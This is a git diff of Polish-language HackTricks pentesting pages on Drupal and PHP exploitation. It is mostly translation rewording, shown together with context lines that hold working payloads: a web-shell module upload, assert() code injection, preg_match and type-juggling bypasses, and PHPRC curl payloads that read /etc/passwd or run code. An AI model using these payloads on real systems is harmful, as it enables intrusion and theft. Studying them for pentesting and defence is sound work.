W starszych wersjach Drupal **(przed wersją 8)** było możliwe zalogowanie się jako administrator i **włączenie modułu `PHP filter`**, który "Umożliwia ocenienie osadzonego kodu PHP/skrótów."
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Musisz mieć zainstalowany **plugin php** (sprawdź to przechodząc do _/modules/php_ i jeśli zwraca **403**, to **istnieje**, jeśli **nie znaleziono**, to **plugin php nie jest zainstalowany**)
|
Musisz mieć zainstalowany **plugin php** (sprawdź to przechodząc do _/modules/php_ i jeśli zwraca **403**, to **istnieje**, jeśli **nie znaleziono**, to **plugin php nie jest zainstalowany**)
|
||||||
|
@ -148,13 +148,13 @@ RewriteEngine On
|
||||||
RewriteBase /
|
RewriteBase /
|
||||||
</IfModule>
|
</IfModule>
|
||||||
```
|
```
|
||||||
* Konfiguracja powyżej będzie stosować reguły dla folderu /, gdy żądamy pliku w /modules. Skopiuj oba te pliki do folderu captcha i utwórz archiwum.
|
* Powyższa konfiguracja będzie stosować reguły dla folderu /, gdy żądamy pliku w /modules. Skopiuj oba te pliki do folderu captcha i utwórz archiwum.
|
||||||
```bash
|
```bash
|
||||||
mv shell.php .htaccess captcha
|
mv shell.php .htaccess captcha
|
||||||
tar cvf captcha.tar.gz captcha/
|
tar cvf captcha.tar.gz captcha/
|
||||||
```
|
```
|
||||||
* Zakładając, że mamy **dostęp administracyjny** do strony internetowej, kliknij **`Zarządzaj`**, a następnie **`Rozszerzenia`** w pasku bocznym. Następnie kliknij przycisk **`+ Zainstaluj nowy moduł`**, i zostaniemy przeniesieni do strony instalacji, takiej jak `http://drupal-site.local/admin/modules/install`. Przejdź do zainfekowanego archiwum Captcha i kliknij **`Zainstaluj`**.
|
* Zakładając, że mamy **dostęp administracyjny** do strony internetowej, klikamy na **`Zarządzaj`**, a następnie na **`Rozszerzenia`** w pasku bocznym. Następnie klikamy przycisk **`+ Zainstaluj nowy moduł`**, i zostaniemy przeniesieni do strony instalacji, na przykład `http://drupal-site.local/admin/modules/install`. Przejdź do zainfekowanego archiwum Captcha i kliknij **`Zainstaluj`**.
|
||||||
* Po udanej instalacji, przejdź do **`/modules/captcha/shell.php`** aby wykonać polecenia.
|
* Po udanej instalacji, przejdź do **`/modules/captcha/shell.php`** aby wykonywać polecenia.
|
||||||
|
|
||||||
## Po Wykorzystaniu
|
## Po Wykorzystaniu
|
||||||
|
|
||||||
|
@ -170,7 +170,7 @@ mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from
|
||||||
|
|
||||||
* [https://academy.hackthebox.com/module/113/section/1209](https://academy.hackthebox.com/module/113/section/1209)
|
* [https://academy.hackthebox.com/module/113/section/1209](https://academy.hackthebox.com/module/113/section/1209)
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
|
|
@ -7,14 +7,14 @@
|
||||||
Inne sposoby wsparcia HackTricks:
|
Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../..https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
@ -38,7 +38,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
|
||||||
|
|
||||||
### Luźne porównania/Type Juggling ( == )
|
### Luźne porównania/Type Juggling ( == )
|
||||||
|
|
||||||
Jeśli w PHP używane jest `==`, mogą wystąpić przypadki, w których porównanie nie zachowuje się zgodnie z oczekiwaniami. Dzieje się tak, ponieważ "==" porównuje tylko wartości przekształcone do tego samego typu, jeśli chcesz również porównać, czy typ porównywanych danych jest taki sam, musisz użyć `===`.
|
Jeśli w PHP używane jest `==`, mogą wystąpić nieoczekiwane przypadki, w których porównanie nie zachowuje się zgodnie z oczekiwaniami. Dzieje się tak, ponieważ "==" porównuje tylko wartości przekształcone do tego samego typu, jeśli chcesz również porównać, czy typ porównywanych danych jest taki sam, musisz użyć `===`.
|
||||||
|
|
||||||
Tabele porównań w PHP: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
|
Tabele porównań w PHP: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
|
||||||
|
|
||||||
|
@ -47,11 +47,11 @@ Tabele porównań w PHP: [https://www.php.net/manual/en/types.comparisons.php](h
|
||||||
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
|
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
|
||||||
|
|
||||||
* `"string" == 0 -> True` Ciąg znaków, który nie zaczyna się od liczby, jest równy liczbie
|
* `"string" == 0 -> True` Ciąg znaków, który nie zaczyna się od liczby, jest równy liczbie
|
||||||
* `"0xAAAA" == "43690" -> True` Ciągi złożone z liczb w formacie dziesiętnym lub szesnastkowym można porównać z innymi liczbami/ciągami, uzyskując wynik True, jeśli liczby były takie same (liczby w ciągu są interpretowane jako liczby)
|
* `"0xAAAA" == "43690" -> True` Ciągi złożone z liczb w formacie dziesiętnym lub szesnastkowym można porównać z innymi liczbami/ciągami znaków z wynikiem True, jeśli liczby były takie same (liczby w ciągu znaków są interpretowane jako liczby)
|
||||||
* `"0e3264578" == 0 --> True` Ciąg rozpoczynający się od "0e" i zawierający cokolwiek będzie równy 0
|
* `"0e3264578" == 0 --> True` Ciąg znaków rozpoczynający się od "0e" i zawierający cokolwiek będzie równy 0
|
||||||
* `"0X3264578" == 0X --> True` Ciąg rozpoczynający się od "0" i zawierający dowolną literę (X może być dowolną literą) oraz cokolwiek będzie równy 0
|
* `"0X3264578" == 0X --> True` Ciąg znaków rozpoczynający się od "0" i zawierający dowolną literę (X może być dowolną literą) oraz cokolwiek dalej, będzie równy 0
|
||||||
* `"0e12334" == "0" --> True` Jest to bardzo interesujące, ponieważ w niektórych przypadkach można kontrolować wejściowy ciąg znaków "0" oraz pewną zawartość, która jest haszowana i porównywana do niego. Dlatego jeśli można podać wartość, która spowoduje utworzenie hasza zaczynającego się od "0e" i bez żadnej litery, można ominąć porównanie. Można znaleźć **już zahaszowane ciągi** w tym formacie tutaj: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
* `"0e12334" == "0" --> True` Jest to bardzo interesujące, ponieważ w niektórych przypadkach można kontrolować wejściowy ciąg znaków "0" oraz pewną zawartość, która jest haszowana i porównywana do niego. Dlatego jeśli można podać wartość, która spowoduje utworzenie hasza zaczynającego się od "0e" i bez żadnej litery, można ominąć porównanie. Można znaleźć **już zahaszowane ciągi** w tym formacie tutaj: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||||
* `"X" == 0 --> True` Dowolna litera w ciągu jest równa liczbie całkowitej 0
|
* `"X" == 0 --> True` Dowolna litera w ciągu znaków jest równa liczbie całkowitej 0
|
||||||
|
|
||||||
Więcej informacji na stronie [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
|
Więcej informacji na stronie [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
|
||||||
|
|
||||||
|
@ -74,9 +74,9 @@ if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Re
|
||||||
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
|
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
|
||||||
// Real Password
|
// Real Password
|
||||||
```
|
```
|
||||||
### Surowe rzucanie typami
|
### Surowe rzucanie typu
|
||||||
|
|
||||||
Nawet jeśli jest używany `===`, mogą wystąpić błędy, które sprawiają, że porównanie jest podatne na surowe rzucanie typami. Na przykład, jeśli porównanie konwertuje dane na inny typ obiektu przed porównaniem:
|
Nawet jeśli jest używany `===`, mogą wystąpić błędy, które sprawiają, że porównanie jest podatne na **surowe rzucanie typu**. Na przykład, jeśli porównanie **konwertuje dane na inny typ obiektu przed porównaniem**:
|
||||||
```php
|
```php
|
||||||
(int) "1abc" === (int) "1xyz" //This will be true
|
(int) "1abc" === (int) "1xyz" //This will be true
|
||||||
```
|
```
|
||||||
|
@ -86,7 +86,7 @@ Nawet jeśli jest używany `===`, mogą wystąpić błędy, które sprawiają,
|
||||||
|
|
||||||
#### Ominięcie nowej linii
|
#### Ominięcie nowej linii
|
||||||
|
|
||||||
Jednakże, gdy ograniczamy początek wyrażenia regularnego w `preg_match()`, **sprawdza on tylko pierwszą linię danych wprowadzonych przez użytkownika**, więc jeśli w jakiś sposób można **przesłać** dane wejściowe w **kilku liniach**, można ominięć tę kontrolę. Przykład:
|
Jednakże, gdy ograniczamy początek wyrażenia regularnego `preg_match()` **sprawdza tylko pierwszą linię danych wprowadzonych przez użytkownika**, więc jeśli w jakiś sposób można **przesłać** dane we **wielu liniach**, można ominięć tę kontrolę. Przykład:
|
||||||
```php
|
```php
|
||||||
$myinput="aaaaaaa
|
$myinput="aaaaaaa
|
||||||
11111111"; //Notice the new line
|
11111111"; //Notice the new line
|
||||||
|
@ -110,7 +110,7 @@ Znajdź przykład tutaj: [https://ramadistra.dev/fbctf-2019-rceservice](https://
|
||||||
#### **Bypassowanie błędu długości**
|
#### **Bypassowanie błędu długości**
|
||||||
|
|
||||||
(Ten bypass został wypróbowany na PHP 5.2.5 i nie udało mi się go uruchomić na PHP 7.3.15)\
|
(Ten bypass został wypróbowany na PHP 5.2.5 i nie udało mi się go uruchomić na PHP 7.3.15)\
|
||||||
Jeśli możesz przesłać do `preg_match()` **bardzo duże dane wejściowe**, nie będzie w stanie ich przetworzyć, co pozwoli Ci **obejść** sprawdzenie. Na przykład, jeśli jest na czarnej liście JSON, możesz przesłać:
|
Jeśli możesz przesłać do `preg_match()` **bardzo dużą poprawną wartość wejściową**, nie będzie w stanie jej przetworzyć i będziesz mógł **obejść** sprawdzenie. Na przykład, jeśli jest na czarnej liście JSON, możesz przesłać:
|
||||||
```bash
|
```bash
|
||||||
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
||||||
```
|
```
|
||||||
|
@ -123,9 +123,9 @@ Sztuczka z: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
|
||||||
W skrócie problem występuje, ponieważ funkcje `preg_*` w PHP bazują na [bibliotece PCRE](http://www.pcre.org/). W PCRE pewne wyrażenia regularne są dopasowywane poprzez dużą liczbę wywołań rekurencyjnych, co zużywa dużo miejsca na stosie. Możliwe jest ustawienie limitu na ilość dozwolonych rekursji, ale w PHP ten limit [domyślnie wynosi 100 000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), co jest więcej niż mieści się na stosie.
|
W skrócie problem występuje, ponieważ funkcje `preg_*` w PHP bazują na [bibliotece PCRE](http://www.pcre.org/). W PCRE pewne wyrażenia regularne są dopasowywane poprzez dużą liczbę wywołań rekurencyjnych, co zużywa dużo miejsca na stosie. Możliwe jest ustawienie limitu na ilość dozwolonych rekursji, ale w PHP ten limit [domyślnie wynosi 100 000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), co jest więcej niż mieści się na stosie.
|
||||||
|
|
||||||
[Wątek na Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) został również podlinkowany w poście, gdzie bardziej szczegółowo omówiono ten problem. Naszym zadaniem było teraz jasne:\
|
[Wątek na Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) został również podlinkowany w poście, gdzie bardziej szczegółowo omówiono ten problem. Naszym zadaniem było teraz jasne:\
|
||||||
**Wysłać dane wejściowe, które sprawią, że wyrażenie regularne wykona 100 000+ rekursji, powodując SIGSEGV, sprawiając, że funkcja `preg_match()` zwróci `false`, co sprawi, że aplikacja uzna, że nasze dane wejściowe nie są złośliwe, rzucając niespodziankę na końcu ładunku w postaci czegoś w stylu `{system(<bardzozłepolecenie>)}` aby uzyskać SSTI --> RCE --> flaga :)**.
|
**Wysłać dane wejściowe, które sprawią, że wyrażenie regularne wykona 100 000+ rekursji, powodując SIGSEGV, sprawiając, że funkcja `preg_match()` zwróci `false`, co sprawi, że aplikacja uzna, że nasze dane wejściowe nie są złośliwe, rzucając niespodziankę na końcu ładunku w postaci czegoś takiego jak `{system(<bardzozłepolecenie>)}` aby uzyskać SSTI --> RCE --> flagę :)**.
|
||||||
|
|
||||||
Cóż, w terminach wyrażeń regularnych, faktycznie nie wykonujemy 100 tys. "rekursji", ale zamiast tego liczymy "kroki wstecz", które, jak podaje [dokumentacja PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), domyślnie wynoszą 1 000 000 (1M) w zmiennej `pcre.backtrack_limit`.\
|
Cóż, w terminach wyrażeń regularnych, faktycznie nie wykonujemy 100 tys. "rekursji", ale zamiast tego liczymy "kroki wstecz", co, jak podaje [dokumentacja PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), domyślnie wynosi 1 000 000 (1M) w zmiennej `pcre.backtrack_limit`.\
|
||||||
Aby to osiągnąć, `'X'*500_001` spowoduje wykonanie 1 miliona kroków wstecz (500 tys. do przodu i 500 tys. do tyłu):
|
Aby to osiągnąć, `'X'*500_001` spowoduje wykonanie 1 miliona kroków wstecz (500 tys. do przodu i 500 tys. do tyłu):
|
||||||
```python
|
```python
|
||||||
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
||||||
|
@ -141,9 +141,9 @@ $obfs = 3+2 * (TRUE + TRUE); //int 7
|
||||||
$obfs .= ""; //string "7"
|
$obfs .= ""; //string "7"
|
||||||
$obfs += ""; //int 7
|
$obfs += ""; //int 7
|
||||||
```
|
```
|
||||||
## Wykonaj Po Przekierowaniu (EAR)
|
## Wykonaj po przekierowaniu (EAR)
|
||||||
|
|
||||||
Jeśli PHP przekierowuje do innej strony, ale nie jest wywoływana funkcja **`die`** lub **`exit`** po ustawieniu nagłówka `Location`, PHP kontynuuje wykonywanie i dołącza dane do ciała strony:
|
Jeśli PHP przekierowuje na inną stronę, ale nie jest wywoływana funkcja **`die`** lub **`exit`** po ustawieniu nagłówka `Location`, PHP kontynuuje wykonywanie i dołącza dane do ciała:
|
||||||
```php
|
```php
|
||||||
<?php
|
<?php
|
||||||
// In this page the page will be read and the content appended to the body of
|
// In this page the page will be read and the content appended to the body of
|
||||||
|
@ -153,7 +153,7 @@ header('Location: /index.php?page=default.html');
|
||||||
readfile($page);
|
readfile($page);
|
||||||
?>
|
?>
|
||||||
```
|
```
|
||||||
## Wykorzystanie Traversal Path i Inkluzji Plików
|
## Wykorzystanie Traversal ścieżki i włączenia pliku
|
||||||
|
|
||||||
Sprawdź:
|
Sprawdź:
|
||||||
|
|
||||||
|
@ -163,9 +163,9 @@ Sprawdź:
|
||||||
|
|
||||||
## Więcej sztuczek
|
## Więcej sztuczek
|
||||||
|
|
||||||
* **register\_globals**: W **PHP < 4.1.1.1** lub gdy jest błędnie skonfigurowany, **register\_globals** może być aktywny (lub ich zachowanie jest imitowane). Oznacza to, że w zmiennych globalnych jak $\_GET, jeśli mają wartość np. $\_GET\["param"]="1234", można uzyskać do niej dostęp za pomocą **$param. Dlatego wysyłając parametry HTTP, można nadpisać zmienne**, które są używane w kodzie.
|
* **register\_globals**: W **PHP < 4.1.1.1** lub jeśli jest źle skonfigurowany, **register\_globals** może być aktywny (lub ich zachowanie jest imitowane). Oznacza to, że w zmiennych globalnych jak $\_GET, jeśli mają wartość np. $\_GET\["param"]="1234", można uzyskać do niej dostęp za pomocą **$param. Dlatego wysyłając parametry HTTP, można nadpisać zmienne**, które są używane w kodzie.
|
||||||
* **Ciasteczka PHPSESSION z tej samej domeny są przechowywane w tym samym miejscu**, dlatego jeśli w obrębie domeny **różne ciasteczka są używane w różnych ścieżkach**, można sprawić, że ścieżka **uzyskuje dostęp do ciasteczka z innej ścieżki**, ustawiając wartość ciasteczka z innej ścieżki.
|
* **Ciasteczka PHPSESSION** z tej samej domeny są przechowywane w tym samym miejscu, dlatego jeśli w obrębie domeny **używane są różne ciasteczka w różnych ścieżkach**, można sprawić, że ścieżka **uzyskuje dostęp do ciasteczka z innej ścieżki**, ustawiając wartość ciasteczka z innej ścieżki.
|
||||||
W ten sposób, jeśli **obie ścieżki uzyskują dostęp do zmiennej o tej samej nazwie**, można sprawić, że **wartość tej zmiennej w ścieżce 1 będzie stosowana do ścieżki 2**. Następnie ścieżka 2 będzie uznawać zmienne ścieżki 1 za ważne (nadając ciasteczku nazwę odpowiadającą jej w ścieżce 2).
|
W ten sposób, jeśli **obie ścieżki uzyskują dostęp do zmiennej o tej samej nazwie**, można sprawić, że **wartość tej zmiennej w ścieżce 1 będzie stosowana do ścieżki 2**. Następnie ścieżka 2 uzna za ważne zmienne ścieżki 1 (nadając ciasteczku nazwę odpowiadającą jej w ścieżce 2).
|
||||||
* Gdy masz **nazwy użytkowników** użytkowników maszyny. Sprawdź adres: **/\~\<USERNAME>** aby zobaczyć, czy katalogi php są aktywowane.
|
* Gdy masz **nazwy użytkowników** użytkowników maszyny. Sprawdź adres: **/\~\<USERNAME>** aby zobaczyć, czy katalogi php są aktywowane.
|
||||||
* [**LFI i RCE za pomocą opakowań php**](../../../pentesting-web/file-inclusion/)
|
* [**LFI i RCE za pomocą opakowań php**](../../../pentesting-web/file-inclusion/)
|
||||||
|
|
||||||
|
@ -213,12 +213,12 @@ Ta opcja preg\_replace została **przestarzała od wersji PHP 5.5.0.**
|
||||||
```
|
```
|
||||||
### **RCE poprzez Assert()**
|
### **RCE poprzez Assert()**
|
||||||
|
|
||||||
Ta funkcja w php pozwala na **wykonanie kodu zapisanego w ciągu znaków**, aby **zwrócić true lub false** (i w zależności od tego zmienić wykonanie). Zazwyczaj zmienna użytkownika zostanie wstawiona w środku ciągu znaków. Na przykład:\
|
Ta funkcja w php pozwala ci **wykonać kod napisany w postaci ciągu znaków**, aby **zwrócić true lub false** (i w zależności od tego zmienić wykonanie). Zazwyczaj zmienna użytkownika zostanie wstawiona w środku ciągu znaków. Na przykład:\
|
||||||
`assert("strpos($_GET['page']),'..') === false")` --> W tym przypadku, aby uzyskać **RCE**, można:
|
`assert("strpos($_GET['page']),'..') === false")` --> W tym przypadku, aby uzyskać **RCE**, można:
|
||||||
```
|
```
|
||||||
?page=a','NeVeR') === false and system('ls') and strpos('a
|
?page=a','NeVeR') === false and system('ls') and strpos('a
|
||||||
```
|
```
|
||||||
Będziesz musiał **przerwać** składnię kodu, **dodać** swój **payload**, a następnie ponownie to **naprawić**. Możesz użyć operacji logicznych takich jak "**and" lub "%26%26" lub "|"**. Należy zauważyć, że "or" lub "||" nie działają, ponieważ jeśli pierwszy warunek jest prawdziwy, nasz payload nie zostanie wykonany. Tak samo ";" nie działa, ponieważ nasz payload nie zostanie wykonany.
|
Będziesz musiał **przerwać** składnię kodu, **dodać** swój **payload**, a następnie ponownie ją **naprawić**. Możesz użyć operacji logicznych takich jak "**and" lub "%26%26" lub "|"**. Należy zauważyć, że "or" lub "||" nie działają, ponieważ jeśli pierwszy warunek jest prawdziwy, nasz payload nie zostanie wykonany. Podobnie nie działa ";" ponieważ nasz payload nie zostanie wykonany.
|
||||||
|
|
||||||
**Inną opcją** jest dodanie do ciągu znaków wykonania polecenia: `'.highlight_file('.passwd').'`
|
**Inną opcją** jest dodanie do ciągu znaków wykonania polecenia: `'.highlight_file('.passwd').'`
|
||||||
|
|
||||||
|
@ -252,29 +252,29 @@ Możesz również użyć **//** aby skomentować resztę kodu.
|
||||||
Aby odkryć liczbę nawiasów, które musisz zamknąć:
|
Aby odkryć liczbę nawiasów, które musisz zamknąć:
|
||||||
|
|
||||||
- `?order=id;}//`: otrzymujemy komunikat o błędzie (`Parse error: syntax error, unexpected ';'`). Prawdopodobnie brakuje nam jednego lub więcej nawiasów.
|
- `?order=id;}//`: otrzymujemy komunikat o błędzie (`Parse error: syntax error, unexpected ';'`). Prawdopodobnie brakuje nam jednego lub więcej nawiasów.
|
||||||
- `?order=id);}//`: otrzymujemy **ostrzeżenie**. Wygląda na to, że jest to prawidłowe.
|
- `?order=id);}//`: otrzymujemy **ostrzeżenie**. Wygląda na to, że jest ok.
|
||||||
- `?order=id));}//`: otrzymujemy komunikat o błędzie (`Parse error: syntax error, unexpected ')' i`). Prawdopodobnie mamy za dużo zamykających nawiasów.
|
- `?order=id));}//`: otrzymujemy komunikat o błędzie (`Parse error: syntax error, unexpected ')' i`). Prawdopodobnie mamy za dużo zamykających nawiasów.
|
||||||
|
|
||||||
### **RCE za pośrednictwem .httaccess**
|
### **RCE za pomocą .httaccess**
|
||||||
|
|
||||||
Jeśli możesz **załadować** plik **.htaccess**, możesz **skonfigurować** kilka rzeczy, a nawet wykonać kod (konfigurując, że pliki z rozszerzeniem .htaccess mogą być **wykonywane**).
|
Jeśli możesz **załadować** plik **.htaccess**, możesz **skonfigurować** kilka rzeczy, a nawet wykonać kod (konfigurując pliki z rozszerzeniem .htaccess do **wykonywania**).
|
||||||
|
|
||||||
Różne powłoki .htaccess można znaleźć [tutaj](https://github.com/wireghoul/htshells)
|
Różne powłoki .htaccess można znaleźć [tutaj](https://github.com/wireghoul/htshells)
|
||||||
|
|
||||||
### RCE za pośrednictwem zmiennych środowiskowych
|
### RCE za pomocą zmiennych środowiskowych
|
||||||
|
|
||||||
Jeśli znajdziesz podatność, która pozwala ci **modyfikować zmienne środowiskowe w PHP** (i inną do wgrywania plików, chociaż po dokładniejszym zbadaniu może to zostać zignorowane), możesz wykorzystać to zachowanie do uzyskania **RCE**.
|
Jeśli znajdziesz podatność, która pozwala Ci **modyfikować zmienne środowiskowe w PHP** (i inną do wgrywania plików, chociaż po dokładniejszym zbadaniu może to zostać obejścione), możesz wykorzystać to zachowanie do uzyskania **RCE**.
|
||||||
|
|
||||||
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Ta zmienna środowiskowa pozwala na ładowanie dowolnych bibliotek podczas wykonywania innych binariów (choć w tym przypadku może to nie zadziałać).
|
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Ta zmienna środowiskowa pozwala na ładowanie dowolnych bibliotek podczas wykonywania innych binariów (choć w tym przypadku może nie działać).
|
||||||
- **`PHPRC`** : Wskazuje PHP, **gdzie znajduje się plik konfiguracyjny**, zwykle nazywany `php.ini`. Jeśli możesz wgrać swój własny plik konfiguracyjny, użyj `PHPRC` aby wskazać PHP na niego. Dodaj wpis **`auto_prepend_file`** określający drugi wgrany plik. Ten drugi plik zawiera normalny **kod PHP, który jest następnie wykonywany** przez środowisko PHP przed jakimkolwiek innym kodem.
|
- **`PHPRC`** : Wskazuje PHP, **gdzie znajduje się plik konfiguracyjny**, zwykle nazywany `php.ini`. Jeśli możesz wgrać swój własny plik konfiguracyjny, użyj `PHPRC`, aby wskazać PHP na niego. Dodaj wpis **`auto_prepend_file`** określający drugi wgrany plik. Ten drugi plik zawiera normalny **kod PHP, który jest następnie wykonywany** przez środowisko PHP przed jakimkolwiek innym kodem.
|
||||||
1. Wgraj plik PHP zawierający nasz kod powłoki
|
1. Wgraj plik PHP zawierający nasz kod powłoki
|
||||||
2. Wgraj drugi plik, zawierający dyrektywę **`auto_prepend_file`** instruującą preprocesor PHP do wykonania pliku wgraliśmy w kroku 1
|
2. Wgraj drugi plik, zawierający dyrektywę **`auto_prepend_file`** instruującą preprocesor PHP do wykonania pliku, który wgraliśmy w kroku 1
|
||||||
3. Ustaw zmienną `PHPRC` na plik wgrany w kroku 2.
|
3. Ustaw zmienną `PHPRC` na plik, który wgraliśmy w kroku 2.
|
||||||
- Uzyskaj więcej informacji na temat wykonania tego łańcucha [**z oryginalnego raportu**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
|
- Uzyskaj więcej informacji na temat wykonania tego łańcucha [**z oryginalnego raportu**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
|
||||||
- **PHPRC** - kolejna opcja
|
- **PHPRC** - kolejna opcja
|
||||||
- Jeśli **nie możesz wgrywać plików**, możesz użyć w FreeBSD pliku "file" `/dev/fd/0`, który zawiera **`stdin`**, będący **treścią** żądania wysłanego do `stdin`:
|
- Jeśli **nie możesz wgrywać plików**, możesz użyć w FreeBSD pliku "file" `/dev/fd/0`, który zawiera **`stdin`**, będący **treścią** żądania wysłanego do `stdin`:
|
||||||
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
|
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
|
||||||
- Lub aby uzyskać RCE, włącz **`allow_url_include`** i dodaj na początku plik z kodem PHP w **base64**:
|
- Lub aby uzyskać RCE, włącz **`allow_url_include`** i dodaj plik z **kodem PHP w base64**:
|
||||||
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
|
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
|
||||||
- Technika [**z tego raportu**](https://vulncheck.com/blog/juniper-cve-2023-36845).
|
- Technika [**z tego raportu**](https://vulncheck.com/blog/juniper-cve-2023-36845).
|
||||||
|
|
||||||
|
@ -288,9 +288,9 @@ $_COOKIE | if #This mea
|
||||||
```
|
```
|
||||||
Jeśli debugujesz aplikację PHP, możesz globalnie włączyć drukowanie błędów w `/etc/php5/apache2/php.ini`, dodając `display_errors = On` i zrestartować apache: `sudo systemctl restart apache2`
|
Jeśli debugujesz aplikację PHP, możesz globalnie włączyć drukowanie błędów w `/etc/php5/apache2/php.ini`, dodając `display_errors = On` i zrestartować apache: `sudo systemctl restart apache2`
|
||||||
|
|
||||||
### Odszyfrowywanie kodu PHP
|
### Deobfuskacja kodu PHP
|
||||||
|
|
||||||
Możesz użyć **strony internetowej** [**www.unphp.net**](http://www.unphp.net) **do odszyfrowania kodu PHP.**
|
Możesz użyć **strony internetowej** [**www.unphp.net**](http://www.unphp.net) **do deobfuskacji kodu PHP.**
|
||||||
|
|
||||||
## Owińce i protokoły PHP
|
## Owińce i protokoły PHP
|
||||||
|
|
||||||
|
@ -298,7 +298,7 @@ Owińce i protokoły PHP mogą pozwolić Ci **obejść zabezpieczenia zapisu i o
|
||||||
|
|
||||||
## Xdebug nieuwierzytelniona RCE
|
## Xdebug nieuwierzytelniona RCE
|
||||||
|
|
||||||
Jeśli zauważysz, że **Xdebug** jest **włączony** w wyniku `phpconfig()`, powinieneś spróbować uzyskać RCE za pośrednictwem [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)
|
